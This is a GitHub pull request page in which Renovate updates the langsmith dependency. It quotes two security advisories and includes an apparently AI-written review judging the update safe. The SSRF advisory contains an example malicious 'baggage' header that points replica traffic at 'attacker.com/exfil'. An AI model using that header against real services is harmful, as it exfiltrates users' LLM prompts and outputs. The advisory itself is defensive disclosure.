FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

chore(deps): update dependency langsmith to v0.7.31 [security] by renovate[bot] · Pull Request #59 · koki-develop/git-aicommit · GitHub

This repository was archived by the owner on Apr 19, 2026. It is now read-only.
/ git-aicommit Public archive

chore(deps): update dependency langsmith to v0.7.31 [security] - #59

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-langsmith-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-langsmith-vulnerability

Conversation

renovate Bot commented Feb 9, 2026
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
langsmith 0.4.43 → 0.7.31

GitHub Vulnerability Alerts

CVE-2026-25528

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic
Severity
  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

GHSA-rr7j-v2q5-chgv

Summary

The LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.

Details

Both JS and Python SDKs are affected. The same pattern exists in both:

  • JS SDK: traceable.ts:997-1003 and traceable.ts:1044-1050
  • Python SDK: run_helpers.py:1924 and run_helpers.py:1996

In both SDKs, new_token events with raw kwargs.token values are added during streaming, and the redaction pipeline (hideOutputs in JS, hide_outputs in Python) only processes inputs/outputs — never events.

Severity
  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Release Notes

langchain-ai/langsmith-sdk (langsmith)

v0.7.31

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.30...v0.7.31

v0.7.30

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.29...v0.7.30

v0.7.29

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.28...v0.7.29

v0.7.28

Compare Source

What's Changed
New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.27...v0.7.28

v0.7.27

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.26...v0.7.27

v0.7.26

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.25...v0.7.26

v0.7.25

Compare Source

What's Changed
New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.24...v0.7.25

v0.7.24

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.23...v0.7.24

v0.7.23

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.22...v0.7.23

v0.7.22

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.21...v0.7.22

v0.7.21

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.20...v0.7.21

v0.7.20

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.19...v0.7.20

v0.7.19

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.18...v0.7.19

v0.7.18

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.17...v0.7.18

v0.7.17

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.16...v0.7.17

v0.7.16

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.15...v0.7.16

v0.7.15

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.14...v0.7.15

v0.7.14

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.13...v0.7.14

v0.7.13

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.12...v0.7.13

v0.7.12

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.11...v0.7.12

v0.7.11

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.10...v0.7.11

v0.7.10

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.9...v0.7.10

v0.7.9

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.8...v0.7.9

v0.7.8

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.7...v0.7.8

v0.7.7

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.7.6...v0.7.7

v0.7.6

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.5...v0.7.6

v0.7.5

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.4...v0.7.5

v0.7.4

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.3...v0.7.4

v0.7.3

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.7.2...v0.7.3

v0.7.2

Compare Source

What's Changed


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-actions Bot commented Feb 9, 2026
edited
Loading

Copy link
Copy Markdown
Contributor

Renovate PR Review Results

⚖️ Safety Assessment: ✅ Safe

🔍 Release Content Analysis

Security Fixes Addressed

This update addresses two critical security vulnerabilities:

  1. CVE-2026-25528 (GHSA-v34v-rq6j-cj6p) - SSRF via Distributed Tracing Headers

    • Severity: Medium (CVSS 5.8)
    • Vulnerability: Attackers could inject malicious api_url values through the baggage HTTP header, causing data exfiltration to attacker-controlled servers
    • Affected versions: Python ≥0.4.10, <0.6.3
    • Fixed in: 0.6.3
    • Impact: LLM prompts, outputs, and metadata could be sent to attacker servers; potential SSRF attacks on internal services
  2. GHSA-rr7j-v2q5-chgv - Output Redaction Bypass in Streaming Events

    • Severity: Medium (CVSS 5.3)
    • Vulnerability: Output redaction controls failed to apply to streaming token events, exposing sensitive LLM output
    • Affected versions: Python ≤0.7.30
    • Fixed in: 0.7.31
    • Impact: Data leakage through run event records despite redaction settings

Major Version Changes

The update jumps from 0.4.43 → 0.7.32 (via 0.7.31), spanning approximately 150+ releases across several months. Key changes include:

  • New dependencies: Adds uuid-utils and xxhash libraries
  • Security hardening: Implements allowlist filtering for replica configurations and proper token event redaction
  • Feature additions: Enhanced tracing metadata, improved error handling, sandbox features, and various API improvements
  • Dependency updates: Multiple bumps to underlying packages (langchain-core, cryptography, etc.)

🎯 Impact Scope Investigation

Current Usage Analysis

Limited LangSmith Usage in git-aicommit:

  • Import: from langsmith import tracing_context (cli.py:14)
  • Usage: Wraps AI generation calls in optional tracing context (cli.py:141-144)
  • Configuration: Only enabled when GIT_AICOMMIT_LANGSMITH_PROJECT environment variable is set

Vulnerability Impact Assessment:

  1. SSRF Vulnerability (CVE-2026-25528):

    • NOT VULNERABLE - git-aicommit does not use:
      • RunTree.from_headers() or distributed tracing features
      • HTTP header parsing for trace propagation
      • Replica configurations
  2. Output Redaction Vulnerability (GHSA-rr7j-v2q5-chgv):

    • NOT VULNERABLE - git-aicommit does not use:
      • hideOutputs or hide_outputs redaction controls
      • Streaming token events
      • Output filtering features

API Compatibility:

  • ✅ tracing_context API remains stable across versions
  • ✅ No breaking changes affecting current usage pattern
  • ✅ New dependencies (uuid-utils, xxhash) are internal to langsmith

Dependency Chain Impact

The update introduces two new transitive dependencies:

  • uuid-utils (0.14.0): UUID generation and manipulation (safe addition)
  • xxhash (3.6.0): Fast hashing algorithm (safe addition, widely used)

Both are stable, well-maintained packages with no known security issues.

💡 Recommended Actions

Immediate Actions:

  1. Merge this PR - The update is safe and addresses important security vulnerabilities
  2. No code changes required - Current usage is fully compatible
  3. No configuration changes needed - Existing behavior is preserved

Why This Is Safe:

  • git-aicommit uses only the basic tracing_context API, which remains stable
  • The vulnerabilities affect features not used by this project (distributed tracing headers, output redaction)
  • The update is backward compatible for the limited API surface used
  • New dependencies are transparent to users and pose no compatibility issues

Optional Follow-up:

  • Consider testing with GIT_AICOMMIT_LANGSMITH_PROJECT environment variable set to verify tracing still works (if you use this feature)
  • No other testing or migration work required

🔗 Reference Links

Security Advisories:

Release Notes:

Repository:

Generated by koki-develop/claude-renovate-review


🚫 Permission Denied Tool Executions

The following tool executions that Claude Code attempted were blocked due to insufficient permissions.
Consider adding them to allowed_tools if needed.

Run #24517991884 - 1 tool denied

Tool Input
WebSearch {"query":"langsmith tracing_context API changes version 0.6 0.7"}

Generated by koki-develop/claude-denied-tools

renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch from 2da85e4 to 90ff18e Compare February 12, 2026 11:32
renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch from 90ff18e to dc86446 Compare March 13, 2026 11:46
renovate Bot changed the title chore(deps): update dependency langsmith to v0.6.3 [security] chore(deps): update dependency langsmith to v0.6.3 [security] - autoclosed Mar 27, 2026
renovate Bot closed this Mar 27, 2026
renovate Bot deleted the renovate/pypi-langsmith-vulnerability branch March 27, 2026 01:13
renovate Bot changed the title chore(deps): update dependency langsmith to v0.6.3 [security] - autoclosed chore(deps): update dependency langsmith to v0.6.3 [security] Mar 30, 2026
renovate Bot reopened this Mar 30, 2026
renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch 2 times, most recently from dc86446 to 80c35c9 Compare March 30, 2026 21:34
renovate Bot changed the title chore(deps): update dependency langsmith to v0.6.3 [security] chore(deps): update dependency langsmith to v0.7.24 [security] Apr 3, 2026
renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch from 80c35c9 to 59ed443 Compare April 3, 2026 13:23
renovate Bot changed the title chore(deps): update dependency langsmith to v0.7.24 [security] chore(deps): update dependency langsmith to v0.6.3 [security] Apr 3, 2026
renovate Bot changed the title chore(deps): update dependency langsmith to v0.6.3 [security] chore(deps): update dependency langsmith to v0.7.30 [security] Apr 14, 2026
renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch from 59ed443 to c9930f7 Compare April 14, 2026 13:38
renovate Bot changed the title chore(deps): update dependency langsmith to v0.7.30 [security] chore(deps): update dependency langsmith to v0.6.3 [security] Apr 14, 2026
renovate Bot force-pushed the renovate/pypi-langsmith-vulnerability branch from c9930f7 to a55b967 Compare April 16, 2026 02:48
renovate Bot changed the title chore(deps): update dependency langsmith to v0.6.3 [security] chore(deps): update dependency langsmith to v0.7.31 [security] Apr 16, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants


Back | FazBrowse Home | New Git URL